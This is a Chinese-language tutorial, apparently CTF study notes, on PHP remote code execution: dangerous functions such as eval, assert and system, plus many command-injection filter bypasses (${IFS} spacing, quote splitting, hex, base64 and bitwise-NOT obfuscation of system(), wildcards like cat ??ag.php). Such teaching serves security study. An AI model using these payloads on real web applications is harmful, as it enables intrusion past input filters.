3.call_user_func()&call_user_func_array()回调函数
一、什么是rce
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统
rce简单来说就是远程命令执行漏洞。
二、能简单利用达到rce目的那些函数
1.eval()
属于rce中最常见的一个函数
官方的定义:
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
也就是说当出现eval函数执行时,会将你所需要执行某些东西转化为php代码执行,最后利用某些未被禁止的危险函数执行命令达到目的
2.assert()断言函数
官方的解释:
PHP 5
assert(mixed
$assertion
, string$description
= ?): boolPHP 7
assert(mixed
$assertion
, Throwable$exception
= ?): boolassert() 会检查指定的
assertion
并在结果为false
时采取适当的行动。
另外,如果assertion是字符串,它将会被assert()当做PHP代码来执行
单从效果来看,assert与eval非常相似。但assert实际上更为复杂,因为只讨论rce所以这里不细说
3.call_user_func()&call_user_func_array()回调函数
call_user_func(callable
$callback
, mixed$parameter
= ?, mixed$...
= ?): mixed第一个参数
callback
是被调用的回调函数,其余参数是回调函数的参数。
call_user_func_array(callable
$callback
, array$param_arr
): mixed把第一个参数作为回调函数(
callback
)调用,把参数数组作(param_arr
)为回调函数的的参数传入。
这两个函数作用相同,区别在于传参的不同
4.create_function()
create_function(string $args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分
根据传递的参数创建匿名函数,并为其返回唯一名称。
这里举个栗子:
<?php
error_reporting(0);
$new_func = create_function('$a,$b','return "$a "."$b";');//new_func为函数名,$a $b为参数,后面代码段
echo $new_func('hello','hack')."\n";
?>
三、命令执行中所需要的函数
①system()
对某些指令进行执行的函数,比如:ls、cat、whoami、ifconfig等指令
②passthru()
与system用法基本一致,在system函数被过滤后考虑使用
③exec()
使用姿势:
1.直接执行指令
<?php
echo exec("ls",$file);
echo "</br>";
print_r($file);
?>
2.间接使用其它函数达到指令的执行目的
<?php
exec(print_r(system(ls))); //system和print_r都可以替换为作用相似的函数使用
echo "</br>";
?>
④shell_exec()&反撇(``)
shell_exec与``作用相同,但无回显,需要echo或其他的输出函数使得其回显
四、命令执行绕过
1.空格过滤
当出现空格的过滤可以使用下面的替代空格
%09(url传递)(tab)
%20(space)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
$IFS
{cat,flag}//花括号
2.过滤了cat、ls、flag等一些关键字
①cat过滤后的替代函数:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,可以查看
vim:一种编辑器,可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
②'\'和单双引号以及反撇绕过过滤
如:
ca\t flag
ca''t flag
ca""t flag
ca``t flag
③变量绕过
a=c;b=a;c=t;$a$b$c flag
④命令拆分绕过
和变量绕过是一个道理
a=fl;b=ag.php;echo $a$b;
⑤进制编码绕过
0x01 16进制绕过
63617420666c61672e706870为cat flag.php的十六进制
0x02 base64&base32编码绕过
cat flag的base64编码为Y2F0IGZsYWcucGhw
cat flag的base32编码为MNQXIIDGNRQWOLTQNBYA====
base16也是一个道理
⑥通配符正则绕过
如果正则匹配过滤了一些关键字,如:flag、php、txt等等可以使用问号(?)代替某个字符
适当的可以用星号(*)
注意:这里的?和*都只能用于文件名,如果是命令(类似ls cat等)就不适用
cat flag.php === cat ??ag.php ===cat ?la*
⑦system()函数过滤
0x01 十六进制绕过
“\x73\x79\x73\x74\x65\x6d”(); === system();
0x02 括号绕过
(sy.(st).em)(); === system();
0x03 内敛替代
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?> 等效于<?php echo `ls /`; ?>
0x04 取反(~)绕过
(~%8C%86%8C%8B%9A%92)();===system();
⑧使用∗和@,x(x表示任意数字),{数字}
在没有传参的情况下,这三个特殊变量值都是为空的,所以可以利用其绕过一些过滤
ca$*t flag.php
ca$@t flag.php
ca$4t flag.php
cat${10} flag.php
最后:如果绕过了所有的障碍到达最后一步的时候,可能会有些人出现一个问题-->flag在哪?
确实,有些题目恶心人,flag不放在根目录下,这时候可以利用find指令
system("find / -name flag*"):查找所有文件名匹配flag*的文件 system("cat $(find / -name flag*)"):打印所有文件名匹配flag*的文件